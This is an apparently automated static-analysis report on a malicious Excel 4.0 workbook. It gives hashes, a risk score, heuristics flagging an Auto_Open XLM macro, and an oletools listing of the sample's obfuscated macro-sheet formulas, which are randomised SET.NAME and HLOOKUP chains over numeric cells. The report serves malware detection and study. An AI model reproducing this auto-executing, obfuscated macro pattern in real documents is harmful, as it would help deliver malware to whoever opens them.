Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5de12e3b401a702c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:50 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: d2b2df8b85ef452d798d97264b1db0ec SHA-1: e65bf92db54a7dab11ee322da0ef00f8a5c0fd09 SHA-256: 5de12e3b401a702c7b1ea5e9b08ef04b776b81054b3c1a27e126e66c52ef322c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6904 bytes
SHA-256: c4e879c07275066c94c0e009b4b1230f627aaf93afd49a78eab182820ab6076b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AWMZDjdeDyu
' 0018     26 LABEL : Cell Value, String Constant - AMeWqXwEgAK len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H139 
' 0018     24 LABEL : Cell Value, String Constant - CEMhqlmzh len=0 
' 0018     25 LABEL : Cell Value, String Constant - gYatybYnvR len=0 
' 0018     22 LABEL : Cell Value, String Constant - hXzoBLy len=0 
' 0018     23 LABEL : Cell Value, String Constant - IDpqXHWx len=0 
' 0018     20 LABEL : Cell Value, String Constant - IqGSa len=0 
' 0018     22 LABEL : Cell Value, String Constant - JvixZzU len=0 
' 0018     23 LABEL : Cell Value, String Constant - MMbIdSZf len=0 
' 0018     24 LABEL : Cell Value, String Constant - MoDLFwdvm len=0 
' 0018     21 LABEL : Cell Value, String Constant - rykyag len=0 
' 0018     27 LABEL : Cell Value, String Constant - sLmfgfffoPHt len=0 
' 0018     25 LABEL : Cell Value, String Constant - tpBSRddCMT len=0 
' 0018     20 LABEL : Cell Value, String Constant - TtGVr len=0 
' 0018     26 LABEL : Cell Value, String Constant - vkpNiPMVrhq len=0 
' 0018     26 LABEL : Cell Value, String Constant - VlHpxTOAVYF len=0 
' 0018     27 LABEL : Cell Value, String Constant - YJPcrXyKmoHi len=0 
' 0018     24 LABEL : Cell Value, String Constant - YZXesouUz len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZaANyytrGnR len=0 
' 0018     26 LABEL : Cell Value, String Constant - zIZGVRovfrT len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZPretmvHbIBL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AWMZDjdeDyu,H48,"SET.NAME("tpBSRddCMT",0+VALUE("0"))",""
'  AWMZDjdeDyu,H50,"SET.NAME("hXzoBLy",tpBSRddCMT)",""
'  AWMZDjdeDyu,H54,"SET.NAME("AMeWqXwEgAK",tpBSRddCMT)",""
'  AWMZDjdeDyu,H56,"SET.NAME("JvixZzU",COUNTA(YJPcrXyKmoHi))",""
'  AWMZDjdeDyu,H61,"SET.NAME("IqGSa",COUNTA(rykyag))",""
'  AWMZDjdeDyu,H66,[],""
'  AWMZDjdeDyu,H68,"SET.NAME("vkpNiPMVrhq","")",""
'  AWMZDjdeDyu,P68,"",323.00000000000000000000
'  AWMZDjdeDyu,P69,"",-921.00000000000000000000
'  AWMZDjdeDyu,P70,"",309.00000000000000000000
'  AWMZDjdeDyu,P71,"",-502.00000000000000000000
'  AWMZDjdeDyu,H72,"hXzoBLy",""
'  AWMZDjdeDyu,P72,"",538.00000000000000000000
'  AWMZDjdeDyu,P73,"",657.00000000000000000000
'  AWMZDjdeDyu,H76,"SET.NAME("IDpqXHWx",HLOOKUP("*",YJPcrXyKmoHi,hXzoBLy,FALSE))",""
'  AWMZDjdeDyu,H78,"TtGVr",""
'  AWMZDjdeDyu,H82,"SET.NAME("MoDLFwdvm",tpBSRddCMT)",""
'  AWMZDjdeDyu,H85,[],""
'  AWMZDjdeDyu,H88,"MoDLFwdvm",""
'  AWMZDjdeDyu,H90,"ZaANyytrGnR",""
'  AWMZDjdeDyu,H95,"gYatybYnvR",""
'  AWMZDjdeDyu,H99,"sLmfgfffoPHt",""
'  AWMZDjdeDyu,H102,"SET.NAME("zIZGVRovfrT",VALUE(HLOOKUP("*",rykyag,sLmfgfffoPHt,FALSE)))",""
'  AWMZDjdeDyu,H106,"ZPretmvHbIBL",""
'  AWMZDjdeDyu,H111,"vkpNiPMVrhq",""
'  AWMZDjdeDyu,H116,"AMeWqXwEgAK",""
'  AWMZDjdeDyu,H120,NEXT(),""
'  AWMZDjdeDyu,H125,"MMbIdSZf",""
'  AWMZDjdeDyu,H127,[],""
'  AWMZDjdeDyu,H131,"CEMhqlmzh",""
'  AWMZDjdeDyu,H134,NEXT(),""
'  AWMZDjdeDyu,H137,RETURN(),""
'  AWMZDjdeDyu,H167,"SET.NAME("YZXesouUz",H48)",""
'  AWMZDjdeDyu,H169,"YJPcrXyKmoHi",""
'  AWMZDjdeDyu,H174,"SET.NAME("rykyag",R53C13)",""
'  AWMZDjdeDyu,H179,"SET.NAME("CEMhqlmzh",187)",""
'  AWMZDjdeDyu,H181,"SET.NAME("VlHpxTOAVYF",8)",""
'  AWMZDjdeDyu,H186,YZXesouUz(),""
'  AWMZDjdeDyu,H187,HALT(),""

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